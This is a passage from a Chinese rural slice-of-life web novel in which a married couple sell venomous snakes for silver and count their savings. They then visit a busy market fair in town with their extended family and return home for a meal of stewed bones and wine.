“嗯。”裴厌笑着开口:“运气好,有两条毒性烈的蝮蛇和一条金环,这两样的蛇胆值钱,而且还是活的,一条就值五两。” “被我砸死的那三条蛇胆也能用,只是不如金环值钱,一条只有二钱,听药铺里的伙计说,毒蛇活着卖给他们,他们要养几天,胆汁才更多,蛇胆就更好入药。” “还有四条活蛇,也没有金环和麻灰蝮蛇那么值钱,一条卖了三钱。” 他笑意根本止不住,又说:“我特地打听了,最值钱的蛇胆有金环银环蝮蛇还有五步蛇,这几样毒性烈的,伙计还跟我说,之前他们收了几条品相上佳的五步蛇,一条就值十两。” “十两!”顾兰时瞪大了眼睛,光蛇胆就值十两,那入药之后,那副药该有多贵,当真是他从来没想到的。 裴厌把荷包放在他手里,说:“毒蛇胆是名贵药材,价钱自然高,像山里的人参和灵芝,多少采药人涉险采摘,不就为了发大财。” 这么一说,顾兰时确实理解了,要是不能赚钱,谁愿意冒着被毒蛇咬死的风险去抓蛇呢。 就连村里上山掏蛇吃的汉子,碰到没毒的蛇还有人被咬过。 手心里的荷包沉甸甸的,他下意识掂了掂,越发高兴,只是一抬头,看见裴厌眼睛亮亮的,他连忙说道:“这回运气好,卖了这么多钱,可毒蛇不像蝎子,就算被蛰两下,不至于有性命之忧,抓的时候用筷子夹住,它们就没法蜇人了,刚才我回家,爹还说之前唐家村有人抓蛇被毒蛇咬了,虽然没伤到性命,但也养了许久。” 他说完觉得不妥,立马“呸呸呸”几声,赶忙把荷包放在板车上,合拢两只手闭上眼念叨着:“一时说岔,在此破解,望神佛庇佑,一切顺遂平安。” “我知道,发财哪有那么容易的事。”裴厌等他说完后才开口,又道:“不过是想着,以后上山要是没别的事,抓两条蛇也能换点钱,改天闲了,削个木叉,总比空手去抓蛇来得好。” 而且在前山碰到值钱的毒蛇也要看运气。 附近几个村子的人都知道山里有一处盘蛇岭,听人说密密麻麻全是蛇窝,好在盘蛇岭在深山之中,离山脚远,才不至于闹蛇患,那里就连捕蛇人都不敢深入,顶多在外围抓几条毒蛇。 知道他有分寸,就算还惦记着抓蛇的事,顾兰时稍稍放心,想了一下说:“要真想去抓,记得带点雄黄,抓不到也不要紧,把它们熏走,人好好的就行了。” 裴厌笑着答应:“嗯,不必太忧心,有这十六两,短时日内我肯定不去乱挖蛇窝,山上土洞那么多,就算去挖,找到的也不一定是蛇窝。” 他牵着毛驴往后院走,说:“快把钱收起来。” “好。”顾兰时满口答应,拿起荷包就往房里走,进来后把小银锭和铜板都倒出来,白花花的银子像是在发光,乐得他傻笑出声,在手里把玩一会儿才仔细放进箱底。 快到晌午吃饭的点,一出来裴厌已经靠起板车,手也洗干净了。 顾兰时往灶房走,问道:“想吃什么?” 裴厌想了一下说:“鸡蛋羹。” 今天卖了这么多钱,吃点好的也无妨,他又笑道:“回来有点着急,忘了买肉,明天我出门,买点肥油板,贵是贵,但能熬不少猪油,肉也多买几斤,蒸肉包子,以后天天吃炒肉片子都行。” 顾兰时一下子喜笑颜开,说道:“哪有天天吃肉的,有猪油就行了。” 他走进灶房,裴厌跟着他进来,想起竹哥儿说的,他转头问道:“爹娘后天去镇上赶大集,问咱俩去不去。” “去。”裴厌一口答应,眼睛里的笑意不减,说:“这回去赶集,想买什么就买什么,碰到想吃想要的,只管去买。” 花钱的底气一下子足了,两人都很高兴。 顾兰时拿了一颗菘菜剥老皮,待心中波澜稍稍平静后,笑着开口:“花一点,也该攒一点,日子还长着呢。” “是该如此。”裴厌这会儿也冷静了,脸上带着淡淡笑意,他坐在灶前用火石擦火,待火星子把草绒点燃后,他抓一把麦秸引燃,随后塞进灶膛里,说道:“等水烧热了再洗菜,不然冻手。” “好。”顾兰时把烂菜叶子扔在门外的旧木盆里,等会儿剁碎了喂鸡鸭。 这份喜悦似乎连大黑都感受到了,它站在灶房门口摇尾巴,见顾兰时出来,吐着舌头咧嘴笑。 如今它皮毛顺滑,也比之前壮了些,再不是之前疯狗般的凌乱消瘦模样。 “鬼精鬼精的,连它也高兴。”顾兰时进来,拿菜刀先把菘菜根切掉,这样叶子就不用一片片扒下来,说:“刚好后天去买肉,多买几根骨头,也给它补补身子,一年到头要看家呢。” 裴厌坐在灶前,转头看一眼门外的大狗,此时此刻,大黑看着竟有几分讨喜,于是他开口道:“好,到时候给它一根没啃过的肉骨头,犒劳犒劳。” 大黑没听懂他俩说的话,要是知道有带肉的骨头吃,早撒开腿疯跑起来。 第96章 冬天黑得早,傍晚要是稍微磨蹭一点,活还没干完呢,天就暗了。 房里,油灯上了亮,顾兰时擦干脚爬上热乎乎的炕,裴厌端着木盆出去倒水。 外头风一吹冷飕飕的,盆里的热水倒在地上很快冷却,等明早起来,地上就结一层冰。 他俩平时倒水都是顺着菜地这边的沟壑,不会在院里乱泼。 裴厌进来关好房门,正要吹灯上炕,被窝里的顾兰时突然坐起来,带了点不好意思说:“我还想再看看银子。” 裴厌笑了下,没有吹灯,走到炕尾打开箱子,从底下摸出十分明显的银锭。 这十六两八钱中,有一枚完整的五两银锭,其余是大小不一的碎银子,都被铰过。 顾兰时捧着银锭摸了又摸,感叹道:“真好看。” 他这么高兴痴迷,裴厌把碎银子都放进他手里,手中登时沉甸甸的,全都是银子。 捧着钱顾兰时笑出声,连眼睛都是亮的,颇有些爱不释手,他长这么大,还是头一回摸这么多银子。 裴厌笑道:“之前说把五百文铜板换成五钱碎银,每次去镇上都忘,不过后天去赶集人太多,还是算了。” “这样一来,咱们就有,嗯……”顾兰时歪着脑袋想了一会儿,说:“一共就有二十三两,并十一钱了。” “也就是二十四两加一钱。”裴厌说道,心里一下子轻松了,再没之前的紧迫感。 “整整二十四两。”顾兰时再次感慨了一句。 他俩把这些银子翻来覆去看了好一会儿,最后恋恋不舍在钱袋里装好,塞进箱底藏着。 吹灭油灯,屋里一下子暗了,顾兰时在被窝找了个舒服的姿势躺好,高兴到有点睡不着。 他翻个身,对睡在外面的裴厌说:“二嫂正月下旬的日子,又添一个侄儿,到时办满月酒,咱们提点肉过去。” 正月那会儿地里没粮食没菜,想挣钱只有做些零活,要是没今天的十六两,他俩可能还得动之前的家底,这下好了,不用太俭省。 “好。”裴厌胳膊一伸,将人抱进怀里。 冬天挤在一起暖和,顾兰时总算有了点困意,打个哈欠不再说话,房里安静下来,渐渐进入了梦乡。 * 辰时中刻刚过,早上还有点冷,幸好太阳出来了,显然是个大晴天。 天冷,赶集没必要去太早,一会儿太阳暖和了,镇上人一多,各种摊位铺子都开了,那才叫热闹。 后院,裴厌正在猪圈里拾掇,顾兰时提着蛋篮子进了鸭圈。 虽然冬天了,鸡鸭不好好下蛋,但还没到严冬,鸭舍和鸡窝里都垫的暖和,偶尔能摸到一两个。 把鸭舍里厚厚的稻草翻一遍,顾兰时罢手,提起地上的竹篮又往外走,说:“今天没有,等回来再看母鸡有没有下蛋。” 裴厌铲了一锨粪从猪圈里出来,问道:“咱们几时走?” 顾兰时看一眼天色,说道:“我也说不准,等会儿先过去看看,问一下什么时辰出门。” 等他俩把后院打扫干净,洗过手刚在堂屋坐下喝口热茶,竹哥儿就推开篱笆门,在门口远远喊道:“兰时哥哥,车套了没?” “还没呢,快进来。”顾兰时喊道。 竹哥儿一进院门,笑着说:“得亏咱们有两架车,娘去喊了阿奶,大伯娘二伯娘听见,也都说要一起去。” “两辆够坐了,这会儿就走?”顾兰时问道。 竹哥儿点点头:“嗯,爹把车都套好了,让我过来喊你们,让你俩也别太着急,咱们是去逛,不做别的,钥匙什么的都带好,给禽畜放些草料,千万别忘了。” “好,你回去说,我们套了车就来。”顾兰时把碗里的热茶喝完,放下就往后院走,临走时给猪和鸡鸭放些吃的,大黑也没漏下,万一回来晚了,不会饿到它们。 竹哥儿答应一声就回去了,他俩也很快收拾好,等牵着驴车进村,一行人已经在门口等着了。 “小嬷!”顾安、顾满还有顾衡等不及,叫着跳着都跑过来,拉住顾兰时的手和衣摆七嘴八舌道:“小嬷和小叔可来了。” 顾兰时领着他们三个往前走,笑着说:“就这么盼着去赶集?” 七岁的顾满去过集会,他眼睛睁圆了,两只手忙着比划,说:“可不,二虎子他们前几天从镇上回来,说有耍猴的呢,还有好大好大的糖人。” 一听糖人,顾安和顾衡都噙着手指头流口水,仿佛已经看了那么大的糖人。 顾兰生抱起小儿子顾安往车上放,笑着捏捏他脸蛋,说:“瞧你口水流的。” 张春花掏出手帕,把小儿子手指从嘴里掏出来给他擦干净。 裴厌把板车在平坦处停好,周围几户人家听见动静都出来看,一问是去镇上赶大集,也有人心动,想蹭个驴车,可说话间,顾家人三两下就上去了,人坐的挺满,想张口的人只得作罢。 顾兰时把顾衡抱上他爹的车,问道:“二哥没来?” “你二嫂肚子大了,家里得留个人看着,再说前天他不是也去镇上逛了一圈。”苗秋莲坐好后,抱了顾衡在怀里。 孩子上了车,张春花也爬上去,将两个孩子都搂着,怕他俩在车上乱蹦跶,万一摔下去,可不是闹着玩的。 顾铁山在前面牵着驴车走,裴厌看向顾兰时:“上去,不必等出村。” “好。”顾兰时喊了竹哥儿上车。 狗儿见状,轻轻一步跃上来,在他俩对面坐下说:“兰时哥哥,我跟你俩坐。” “嗯。”顾兰时笑眯眯点头。 等到了祖宅门口,方红花和两个儿媳早等着了,顾兰生扶着老太太和两个伯娘上车,前面就有点坐不下了,他便上了后面这辆车。 一行人坐在驴车上谈天说地,那叫一个高兴。 各个村里的路有几分颠簸,等上了官道之后,立马平坦起来,顾铁山鞭子一甩,毛驴拉着车跑起来。 裴厌在后面跟上,迎着风,顾兰时蒙住口鼻,只留一双眼睛在外面,眼中全是笑意。 * “干果蜜饯——” “冰糖葫芦哎——” 还没进镇,两旁道路就摆满了小摊,吆喝声此起彼伏,有货郎来得迟了些,推着独轮车找了处空地,费力将车推进去。 小孩最闹腾,听见卖冰糖葫芦的,三个小人都扯着脖子往小贩那边瞅,顾安急得直喊娘。 折腾喊叫一路,张春花早不耐烦:“娘什么娘,叫你安分些都不听,这会儿倒知道我是你娘了,我告诉你,今儿乖些,回去了不打你。” “娘。”顾满馋冰糖葫芦吃,尽管弟弟被骂了,还是拉着她袖子恳求。 张春花瞪他俩一眼,对走在板车旁边的顾兰生说:“兰生,去买两串。” 转头看见顾衡,她连忙补充道:“买三串,还有衡儿呢。” 苗秋莲正打算给孙子买一串,可怜见的,爹娘没跟来,都不敢要东西吃,一听这话,对大儿媳十分满意,这才是做大伯娘的派头。 “知道。”顾兰生答应一声,衡儿是他亲侄儿,不用说都会给买。 “走,下去。”顾兰时对竹哥儿和狗儿说道,这会儿毛驴走得很慢,不用停,他们三个直接跨下来。 越往里人越多,瞧这架势,驴车都不好过,裴厌有点犹豫,拉着车逛大集,实在有点不方便。 前面顾铁山牵着毛驴也停下来,方红花还有苗秋莲几个带着孩子下了车。 忽然,有个穿棉衣的矮汉子不知从哪里窜出来,赔着笑同他们搭话:“几位,我这儿看车,你把驴栓那边木桩上,逛到啥时候都行,我们给你看着,给点辛苦钱就成。” 裴厌明显有点谨慎,打量着对方,板车还好,毛驴可不能随便拴在哪里,这人来人往,保不住就有贼。 前面顾铁山听见,转头看过来,同样在思虑。 见他们如此,那汉子连忙道:“我就是宁水镇上人,名陈三儿,家住西街鱼嘴巷第二户,不瞒你们说,打去年起我就干这活儿了,尤其这大集,人多车辆多,挤挤挨挨没法儿过,我们哪里敢做那坑蒙拐骗的事,都是正经人,不信你们看,那边已栓了好几辆驴车骡车了,都是跟你们一样赶了远路来的。” 他这么一说,顾铁山想起来,去年还真听村里人提了一嘴这件事,当时不过感慨会挣钱的人果然头脑精明,今年倒叫他遇上了。 “我就在那边。”矮个汉子指着后方来路一侧说道:“我要是不在,我老婆儿子还有老娘都在那里,你们要想把车放下,只管过去。” 这汉子说完,赔着笑又去招揽其他拉车的人,他身量不高,脚下倒是灵活,在人流中窜来窜去,纵然遭了白眼也不气馁,卖力继续找下一个主顾。 “爹,要不我过去看看。”顾兰生问道。 顾铁山还没答话,忽然听见后面有人喊他,回头一看正是刘向和他女人。 刘向是清水村人,和他交情很好,二黑就是从刘向家捉回来的,连钱都不用给。 “今儿得闲了?”刘向上前问道。 “你也赶车来的?”顾铁山答非所问。 刘向看见前头陈三儿,一下子了然了,笑道:“自然,我把骡子栓那边木桩上了,掏了五文钱,拿了半个木牌,回去的时候用木牌取车就好。” 他又说道:“这陈三儿是我村里一个人的远亲,去年弄了这个营生,他们也就冬天赶大集人多出来挣钱,我觉着挺方便。” 顾铁山琢磨一下问道:“五文钱管多久?” 刘向说:“管一天,无论什么时候去取,他们都在。” 既然如此,裴厌看一眼老丈人,他在后面,便先掉转了驴车,另一边陈三儿没拉到别的生意,一看他俩要过去,连忙小跑着赶来,满面喜意在前头带路。 刚才路过时就看到路边野地里拴着驴车,还以为是一些摊贩的,没多留意,过来一看,这片地打了十几二十个木桩,每个木桩之间都有较大的空隙。 裴厌牵着毛驴往里面走,停下后不用他动手,陈三儿儿子十分殷勤,帮着把毛驴栓好,随后从腰上解下一对木牌,露出个讨好的笑,说:“价钱是五文,看到晚上都没问题,您随来随取,不但认人,还认这木牌,若有人敢冒认,人和木牌两样都对不上的,绝不让拉走。” 确实考虑的周到。 裴厌没说话,从怀里掏出荷包,数了十文钱给他,指着旁边陈三儿帮忙栓好的车说道:“两辆。” “好嘞。”陈三儿儿子接过钱,连忙把木牌给他一半,另一半则绑在木桩绳子上。 顾兰时和家里人在原处等,没一会儿裴厌和他爹就过来了,不用拉车,空着手轻快多了。 刘向和他女人已经在前头逛起来,今儿十六,是大集会,冬闲没别的事做,沿路遇到的熟人不少呢,亲戚也遇到好几个。 很久没出来闲逛过,顾兰时看什么都稀奇,路过一个卖干果山货的摊前,有榛子松子还有桃仁杏仁核桃仁。 家里有核桃和毛栗子,不用再买,够吃了。 往前走,路对面卖酒水的摊位很大,没到跟前就能闻到酒香味,摊前好几个汉子在买。 这酒摊还挺讲究,用竹竿挂了幌子。 顾兰时问身后狗儿:“幌子上写的什么?” 顾兰瑜看一眼,说:“李家酒坊。” 看来这摊主姓李。 有卖木梳的怕人看不到他的梳子,用一根短竹竿把木梳绑在上面垂下来,沿路叫卖,另一手还攥了六七把新纨扇。 “借过借过。” 后面有人喊了两声,顾兰时连忙往路边让了让,身后的人推着板车,车上放了好几筐又大又黄的梨子,不知往哪里送去。 往前走,不止有卖竹篮竹筐,还有成捆成捆卖竹竿的。 而最吸引顾兰时的货物,是皮毛摊上的雪白羊皮,也不知人家是怎么弄的,有羊毛的这一面又白又软,一看就是好东西,做衣裳做毛皮被肯定暖和。 羊皮不少呢,放了有二三十张,垒在那里瞧着就软和厚实。 因人流走动,身旁的竹哥儿往他这边凑了凑,省得被人撞到。 裴厌和顾兰瑜跟在他俩后面,一直没远离。 在皮毛摊前,顾兰时脚步放慢,听了一耳朵主顾和摊主的话,乖乖,那最漂亮的白皮子,一张要十五两。 他又听一耳朵,还好,一般的羊皮一张六七两左右,听着就没那么贵了。 看羊皮的人不少,果然镇上的人有钱些,他们几个继续往前,在两个摊子中间的空隙处停下。 年轻人走得快,他们又没带孩子,苗秋莲牵着顾衡,方红花腿脚有点慢,一行人连老带少落在后面。 买了冰糖葫芦以后,三个小猴崽子安分了下来,舔着山楂外面一层糖衣,美滋滋的。 “行了,我抱着,你跟娘多转转。”顾铁山上前抱起顾衡,人渐渐多了,还是抱着为好。 苗秋莲忙不迭点头,又对大儿媳说道:“春花,让兰生抱着。” 落在最后面的顾兰生几步走过来,抱了大儿子顾满在怀里,张春花便抱起小儿子顾安。 没了孩子在旁边绊腿脚,一行人走得快了些。 等张春花过来后,顾兰瑜顺势接过小侄儿,他如今个子长高了,也有力气,和顾安也很熟。 尽管是冬天,张春花一路照看两个毛崽子,额上出了汗,这下总算能歇歇了,她满面笑意,跟顾兰时顾兰竹走在一起。 几个年轻人在前面,苗秋莲妯娌三个跟着方红花。 小老太太这个摊前背着手瞅一眼,那个摊上拿起陶罐茶壶什么的看一看,问问价又放下。 当看见皮毛摊子后,她被雪白的羊皮惊到了,真是漂亮,于是一边伸手一边问道:“这得多钱?” 听到十五两的价钱后,她收回了手,嗐,这么贵,万一摸坏了,岂不是还得赔钱,连忙走了。 “这就要十五两。”苗秋莲在后面和两个妯娌惊讶嘀咕了几句。 浓郁的醋味飘来,顾兰时看见前面摊子摆了好几个醋缸。 大集上柴米油盐酱醋茶这些家常吃用的东西应有尽有,棉麻丝绸一匹匹在支起来的桌上摆的齐整。 还有卖狐裘的,做好的裘衣用竹竿挂上,毛看起来顺滑而柔软,旁边挂了几张展开的狐皮。 一个肥头大耳满面油光的汉子粗声粗气要试那件狐裘,摊主连忙给他取下,等壮汉穿好后在旁边不断称赞。 五谷杂粮并干枣干果,各种炭木干柴,到处都是吆喝声。 卖吃食浆饮的也有,油炸肉丸子的味道在其中分外突出,顾兰时目光被吸引,情不自禁看过去。 听见五个肉丸子就要六文钱,他说道:“幸好出门之前吃过了。” “可不是,这香的,要是肚饥,非得把馋虫勾出来。”竹哥儿话是这么说,但闻着味儿还是咽了咽口水,肉味够香的。 张春花在旁边笑着说:“快走快走,避开下风口,闻不到就不馋了。” 裴厌跟着他们三个快步走过肉丸子摊,在心里数了一下,今天出来有十一个大人三个孩子,一份五个肉丸,买三份也就足够了。 大半年了,顾兰时才出来逛这么一回,于是他喊住前面三人,走到摊前花十八文买了十五个炸肉丸。 张春花拉拉顾兰时袖子,低声说:“兰哥儿,要不劝劝,十八文呢。” 顾兰时张了张嘴,却见摊主已经给碗里啪嗒啪嗒捞了十五个现炸的肉丸子,裴厌也在掏荷包了,他笑笑说:“也不是什么大钱,买了就买了。” 裴厌端起碗看他一眼,他心中明了,看一眼落在后面的几个人,招呼道:“爹,阿奶裴厌买了肉丸子,都快过来。” 孩子年纪小,但也知道什么好吃,一听有肉丸子,急得在大人怀里弓着身子要过去,张春花瞧见大儿子猴急的模样,狠狠瞪了过去。 顾满一激灵,再不敢乱喊了。 “哎呦姑爷,这得花多钱。”苗秋莲有点心疼钱,日子才刚过起来呢,怎的就这样大手大脚。 裴厌笑道:“岳母,一年也不过逛这么一回。” “是啊娘,管这么多做什么,尝尝就完事了。”顾兰时在旁边说道,在桌上拿了几根摊主削好的竹签子,先递给方红花。 方红花听见摊主和其他主顾说话,知道了价钱,咂咂舌觉得有点贵。 顾兰时把筷子塞进她手里,说道:“买都买了,大娘二娘也快吃,热着呢。” 他这么一说,其他人再不好意思,也一人扎了一个,轮到他自己后,用小竹签子扎一个圆溜溜的肉丸,一口咬进嘴里,外面炸的酥脆,里面肉馅松嫩,闻着香吃起来更香。 连大带小一共十四个人,碗底还剩一个肉丸子。 方红花在心里一琢磨,花了十八文,都够买一斤肉了,她兰哥儿两口子一人才吃一个,于是扭头走了,谁喊也没停,装着去前面看别人编的竹篮子。 刘彩凤身为大伯娘,哪能一直占小辈的便宜,她看一眼旁边老二媳妇,刘巧香手里竹签子还没放下,一脸的馋样,她心中不喜,于是挽住对方胳膊往外拉,笑着说:“娘都前头去了,咱们也快跟上。” 刘巧香有点着急,可又不好表露出来,心里那叫一个遗憾,她是二伯娘,顾兰时怎么也得让让她,这可是用油炸的肉丸子,平时哪里能吃到,心中不免有点埋怨。 顾铁山几人撂下竹签就走了。 见两个儿子蠢蠢欲动,张春花一把将糖葫芦塞进他俩嘴里,省得闹起来。 顾兰时原本想让让,见都走得快,人这么多,一喊别人肯定会看过来,为一个肉丸子不值当,只得作罢。 见裴厌用竹签扎起丸子,他笑眯眯的,没有去抢,不想肉丸子递到了自己嘴边。 “你吃……”话还没说完,肉丸子就被塞进张开的嘴里,他只得咬住。 裴厌把签子塞回筷笼里,眉宇带了一点笑意,说:“要还想吃,下回再来买。” 毒蛇卖了钱,不愁这点东西吃。 “好。”顾兰时点着头答应,两人几步追上去,一路逛着,就进了镇子里。 宁水镇能开的铺子全开了,门前挂着写铺名的布幌子,多数人都不识字,往里面一张望也就知道是卖什么的了。 酒馆里生意很好,伙计又是端菜又是报菜名,都顾不上在门前拉客。 干货店里摆出了鹿筋鹿茸这样的稀罕东西,老板坐在门前吆喝,看见汉子多,又喊一声店里有上好的鹿鞭。 顾兰时原本还想瞅瞅鹿茸,长点见识也好,一听这话,目不斜视从干货店门前经过,只当没听到。 铁匠铺里,几个打铁的汉子砸的叮当响。 不远处有两个木匠在铺子门口刨木头,外头摆了好些车轮和木箱木柜,全是新的,有的箱子做工精湛,雕了吉祥纹描了颜色,瞧着就漂亮。 “铛铛铛——” 有人突然敲起锣,是耍把式的在吆喝,一听在东街那边的宽敞地,不少人都朝那边涌。 “爹,去看吗?”顾兰生问道。 顾铁山抱着孙子顾衡笑呵呵的,说:“去,怎么不去,好容易来一趟。” 顾兰生便朝后面喊,让家里人都跟上,生怕走散了。 往东街走的人很多,顾兰时回头叮嘱:“小心些。” 今天出来是裴厌揣着荷包,大集上人多贼也多,他点点头:“嗯,我知道。” 裴厌一直跟着顾兰时和顾兰竹,他长得高,板起脸一副冷硬模样。 在街上游荡的几个无赖视线在路过的女人和双儿脸上流连,人多怕惹起众怒,他们不敢靠近也不敢出言调戏,只用眼睛扫,不少人都下意识远离了几步。 被裴厌冷冷一眼暼过来后,几人都不敢再看顾兰时两个。 第97章 赶集很热闹,却也很累,明明都是走惯路的人。 眼瞅着前面就是放驴车的地方,苗秋莲用手帕擦擦额头上的汗水,说道:“明明镇子也不大,才走一圈,腿脚就乏了。” 狗儿搀着方红花,笑着开口:“人多,走路前后都要操心,自然比平时累,上了车就能歇歇。” 拎着一吊肉和几根肉骨头的裴厌和顾兰生走在最前,到了地方后从怀里掏出两块木牌。 陈三儿连忙接过,领着他俩往驴车那边去,他其实记住了这一行人的模样,不过还是和木桩上的半块木牌对了一下,随后帮着把驴车解开。 顾兰时拎了两坛酒,待驴车在路边停下后,一行人陆续爬上板车。 顾铁山赶车惯了,没让其他人接手,顾兰生抱着小儿子顾安和侄儿顾衡来了后面这辆车坐下,兄弟几个一块儿说笑也热闹。 已经晌午了,太阳正大,明明是冬天,走了一上午,无论他们还是路边行人,不少都出了汗。 这会儿回去的人不少,等前面一架骡子车跑起来后,顾铁山和裴厌才赶毛驴往前跑。 驴车颠簸,晃动不可避免,顾安和顾衡耍了这么久,脸蛋都是红彤彤的,尤其顾安,他年纪最小,车跑起来没一会儿,他在大人怀里直接睡着了。 顾兰生怕儿子睡着了吹风,连忙搂紧了,给顾安把小帽儿的绳子在下巴颌绑好,出门时张春花给两个孩子都围了布围脖,他仔细给儿子把口鼻都围住。 顾衡原本没睡,一看弟弟睡得喊也喊不醒,没人和他玩儿,便靠着身后的小叔顾兰瑜渐渐也闭上了眼睛。 顾兰生看见,对狗儿说道:“给衡儿帽子戴好。” 顾兰瑜答应一声,三两下就把顾衡裹严实了。 别说孩子,大人也累了,来时怕迎风吸凉气,大伙儿都蒙着口鼻,说笑声却不断,这会儿却没人张口,偶尔看见路上的人和事,才说一两句。 远离镇子之后,大集会的喧嚣仿佛一下子隔远了,耳边也清净下来。 今天看了耍猴的,还有耍把式卖艺的,什么金枪锁喉胸口碎大石,还有顶碗走索飞刀叉,都是硬功夫。 就连踢毽子,明明都是鸡毛毽子,在人家脚上踢得那叫一个花样多,不止脚,就连头、脸、胸、背都能接,耍的如同飞舞一般,实在是精彩。 乡下人看耍猴耍戏的,一般只是捧个人场,看看热闹就行了。 他当时看得兴起,只觉眼花缭乱,跟着人群不断喝彩,高兴之下,没忍住扔了三文钱进去。 离镇子越来越远,官道上人没有刚才那么多了,驴车跑起来十分顺畅。 * 小河村,好几个老人在村口晒太阳,嘴上这家长那家短,一到冬闲,越发只剩嚼点闲言碎语了。 他们几个家里能吃饱饭,还算有点闲心,至于穷点儿的老夫郎老太太,再上了年纪也得挖野菜根、草根弄点吃的,亦或是每天上山捡点柴火背下来。 说话间,两辆驴车陆续走进来,正是顾兰时他们。 顾家祖宅离村口不远,一进来前头的顾铁山就让驴车变为走路。 方红花坐在驴车上,今儿她去逛了大集,那叫一个高兴,看见村口几个老人,笑着同他们招呼一句:“晒暖呢。” 孙老夫郎说道:“哎呦,这是去哪儿了?” 方红花一摆手:“嗐,去镇上逛了逛,今儿十六,不是有大集,在家也没事。” 驴车慢慢走过去,她又朝那几人说一声:“走了大半天,腿脚也乏了,先回去了。” 到祖宅之后,板车上的人都下来了,颠了这一路,是该走走。 酒坛放在车上没动,顾兰时空着手下来跺跺脚,一路吹风,坐在车上又不动,穿着棉鞋也觉得腿脚有点子冷。 一大家子各自都买了点肉回来,方红花提了一吊肉和一包点心,肉是顾铁山给她买的,点心是她自己买的。 顾兰生本来要给她掏钱,她手脚快,早把二十个铜板丢给伙计,拎了点心就走。 她好几个孙子,都年轻,分了家之后日子还没那么好,她手里有点钱,哪里用得着小辈掏。 等大娘二娘提了买的肉后,顾兰时几个招呼一声,跟在驴车旁边继续往前走,一路碰到不少人,免不了说些话。 张春花见小儿子睡得小猪一样,摇都摇不醒,便先一步抱回去了,省得再外头着凉。 到家门口了,顾兰时提一坛酒塞给离他最近的狗儿,笑着说:“拿回去,爹娘没事了能喝几盅。” “成。”顾兰瑜接过。 顾兰时又对苗秋莲说:“娘,我俩不停了,这就回去。” “好好,回去快歇歇。”苗秋莲说道。 出村之后,看见树林里有人在挖草根,离得远,那人蹲着,也看不出是谁。 顾兰时几步赶上来,走在裴厌旁边,笑着说:“我都饿了,回去简单做点饭。” “嗯。”裴厌同样饥肠辘辘。 今天在镇上没吃饭,一个两个都说不饿不想吃,他知道是觉得在外面吃饭要花钱,原本想顾兰时要是饿了,他掏一点钱也没什么,吃点便宜的东西也成,可大伙儿心不齐,这个不愿那个不肯,最后只能作罢。 “回来吃也好,吃完喂猪喂狗,都是活儿。”顾兰时说道,他看一眼车上的酒和肉,满心都是喜悦,又开口道:“明天再炖骨头,到时候开了酒,喝一点,有肉有酒,身上就暖和了。” 裴厌也笑了,好一段时间没喝过酒,明天解解馋。 一开篱笆门,大黑迫不及待窜了出来,围着两人摇尾巴,它闻到了肉味,嘤嘤叫着,跑了好几圈撒欢,拦都拦不住。 * 早起,天灰蒙蒙的,阴云较重,到了巳时初也不见太阳破开云层。 昨晚睡得迷迷糊糊就听见外头刮风的动静,今儿天就阴了。 笼了一盆火,顾兰时坐在旁边箍绣绷子,他剪了两块布打算绣手帕,绷好后放在旁边穿针,说道:“改天要是来货郎,得记住买几块素绢,绣点花上去,比粗布的漂亮,过年时就用那个,又新又好看。” 丝帕纱帕轻而柔滑,绣上花草也分外好看,但价钱贵,来乡下卖东西的货郎,一般会卖便宜点的素绢。 “嗯。”裴厌添了几根柴火,他没事做,伸出双手在火上烤烤,转头看顾兰时穿好了绣花针,捉住夫郎的手摸了摸,问道:“冷不冷?” 顾兰时笑道:“不冷,离火盆近呢。” 裴厌握着他的手给暖了一会儿才放开,说:“天冷,少做一会儿,等有了太阳坐在太阳底下做针线,到底是暖和的。” “就两张,绣一两朵小花,多了我也不会,很快就好了。”顾兰时边说边拿起绣绷子。 外头刮风,大黑没在院子和菜地乱跑,见有火盆,蹭过来在他俩对面蹲坐下,当裴厌看过来后,它耳朵朝后翻,眯着眼咧嘴吐舌头,一副讨好的谄媚模样。 裴厌没赶它走,视线掠过看向外面院子,想起种的菘菜和萝卜,一直盖在麦秸底下,也不知如何了,他起身说一声,大步朝菜地走去。 没一会儿他就回来了,说道:“有长出来的,我刨开土看了看,照这样下去,过段时间就算下雪了,还能挑着捡着收几颗长成的。” “那就好。”顾兰时笑眯眯的,今年开辟菜地当真是件好事,得亏他俩当时没偷懒,把前头拾掇的亭亭当当。 说说话烤烤火,很快到了饭时。 顾兰时放下针线,裴厌闲的没事,说要给他烧火,两人一起进了灶房。 一口锅蒸米饭,另一口大锅添水、放骨头,焯了水再放些大料花椒还有姜块,顾兰时又切了一颗大萝卜用来清炒。 裴厌点火加柴,很快锅底熊熊烈火燃烧起来。 肉骨头飘出香气之后,大黑在灶房门口团团转,馋的直流口水。 等饭做好端上桌,别说狗,他俩也被肉味勾的够馋。 肉骨头炖的火候刚好,肉一抿就下来了,清炒萝卜加上米饭,有荤也有素,裴厌开了酒,酒香味四溢,顾兰时也要了半碗。 见大黑急得呜呜叫,顾兰时夹起一根带肉的骨头,见用树根做的狗食盆在堂屋外面,他往那边走。 大黑小跑着跟上,仰头一直看着他,直到骨头丢进食盆里后,它一低头整根咬住,肉比骨头好吃多了,它狼吞虎咽啃起来,吃得万分着急。 “慢点吃。”顾兰时没忍住说了句,但大黑早听不见人声了。 他笑着回到桌边坐下,裴厌已经倒好了酒,说道:“先吃肉,吃几口再尝尝酒,肚里没东西垫着容易醉。” “好。”顾兰时答应着,就从汤盆里捞出一根骨头,今天炖骨头没剁开,都是一整根。 放了盐,肉极香,咬下也不费力气。 不知不觉,他就啃光了一整根,捏着骨头的手指都是油乎乎的,这会儿顾不上擦洗,油就油了,碗筷总归是要洗的,他端起酒碗抿了一小口,嘶一声说:“有点辣,不过挺香的。” “喝慢点,不着急。”裴厌笑着说,他自己一边吃肉一边喝酒,酒碗已经空了。 外头还在刮风,冷飕飕的,但一吃肉一喝酒,浑身都是暖的,一点都不怕。 顾兰时又捞一根骨头,他俩手油嘴也油,可谁都不嫌弃谁,况且只是一点油光而已,多少可怜人做梦都想沾点油星。 吃两口肉尝一小口酒,顾兰时腮帮子鼓鼓的,一动一动嚼着,不小心抬眸和裴厌对上视线,两人都忍不住笑了笑。 第98章 连着阴了好几天,没下雪也没太阳,时不时刮一阵风,冻得多数人都不愿意出门找罪受。 即便有火盆,在旁边坐着一直不动也会手脚发冷,顾兰时和裴厌掩了门窗,在堂屋踢毽子。 上回看别人玩毽子,踢得灵活翻飞,不知道人家是怎么练的,他俩只有比谁踢得多。 